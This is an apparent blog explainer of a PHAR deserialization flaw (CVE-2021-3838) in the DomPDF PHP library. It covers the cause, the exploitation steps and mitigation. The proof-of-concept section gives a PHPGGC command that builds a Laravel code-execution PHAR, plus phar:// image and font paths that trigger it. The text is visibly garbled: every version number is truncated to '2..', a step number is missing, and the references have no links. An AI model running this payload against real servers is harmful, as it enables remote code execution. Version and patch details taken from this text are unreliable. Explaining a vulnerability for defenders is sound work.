CVE-2021-3838 - PHAR Deserialization Vulnerability in DomPDF Explained

CVE-2021-3838 is a critical vulnerability discovered in DomPDF versions before 2... This flaw allows attackers to trigger PHP Object Injection through _PHAR deserialization_ by abusing the way DomPDF processes file inputs. If an attacker can upload a file of any type to a server using DomPDF, they could exploit this vulnerability to run arbitrary code—this is especially pressing in environments using frameworks with known POP (property-oriented programming) chains, such as Laravel.

In this long read, we’ll break down how the issue works, show sample exploit code, and offer guidance on mitigation. This post is exclusively written in straightforward, American English.

What Is DomPDF?

DomPDF is a popular PHP library to turn HTML into PDF documents. Web applications use DomPDF for things like invoices, reports, and downloadable content. However, unless updated promptly, you're at risk.

Technical Root: PHAR Streams and file_get_contents()

DomPDF at the time of this vulnerability failed to validate the protocol used in paths handed to the file_get_contents() function. By allowing arbitrary URIs, someone could pass something like phar://evil.phar as the source.

PHAR files support object serialization and deserialization in PHP. If PHP code unserializes a PHAR file, and the attacker controls the PHAR, they can trigger code execution if the environment contains exploitable PHP classes—so-called POP chains.

Here’s a conceptual snippet from the vulnerable source

// Vulnerable usage in DomPDF (< 2..)
$contents = file_get_contents($userProvidedPath);
// No protocol check here—danger zone!

If $userProvidedPath = phar:///path/to/uploaded/malicious.phar, deserialization happens automatically.

The Exploitation Chain

1. File Upload: Attacker uploads a specially crafted PHAR file. This file contains serialized PHP objects designed to abuse known “gadgets”.
2. Trigger Inclusion: Through the application, the attacker convinces DomPDF to process this PHAR file, for example, by specifying it as the path for an image or font.
3. Unserialization and Execution: PHP deserializes contents from the PHAR's metadata, and if one of the app's included classes is a match for an available exploit chain, arbitrary code execution is possible.

Proof of Concept: Example Exploit

To demonstrate, let’s walk through a simplified test. _Do not attempt on live sites—this is for educational use only!_

1. Craft a PHAR File

Let’s leverage PHPGGC to create a PHAR payload using a Laravel gadget chain:

phpggc Laravel/RCE1 system 'id' -p phar -o evil.phar

Result: evil.phar containing a chain that executes the id command.

2. Upload malicious PHAR

Suppose your web application allows uploads to /uploads/evil.phar.

You want DomPDF to include this file, for example, as an image

// HTML template sent to DomPDF
<img src="phar:///var/www/html/uploads/evil.phar/test.jpg">

Or, directly as a font file

$fontPath = 'phar:///var/www/html/uploads/evil.phar';
$dompdf->set_option('fontDir', [$fontPath]);

4. Results

When DomPDF parses this, PHP's file_get_contents() loads the PHAR, and if the gadget chain matches code in the application (say, Laravel’s chain), PHP will execute the attacker's code.

Exploit Source

- Original Github Issue & Patch
- NIST NVD Entry
- Ambionics PHAR deserialization article

Fix and Mitigation

Patch Up!

Upgrade DomPDF to v2.. or later. Versions after 2.. reject untrusted protocols in file paths.

Sanitize Inputs

If paths or urls are accepted, strictly validate them.

- Block usage of dangerous schemes, especially “phar://”.

Restrict Uploads

Key Takeaways

- CVE-2021-3838 is a stark reminder how deserialization and file protocol mishandling can snowball into full server compromise.

References

- DomPDF Security Advisory for CVE-2021-3838
- NVD CVE-2021-3838
- More about the PHAR Protocol in PHP
- PHPGGC: PHP Generic Gadget Chains

Timeline

Published on: 11/15/2024 11:15:05 UTC
Last modified on: 11/15/2024 13:58:08 UTC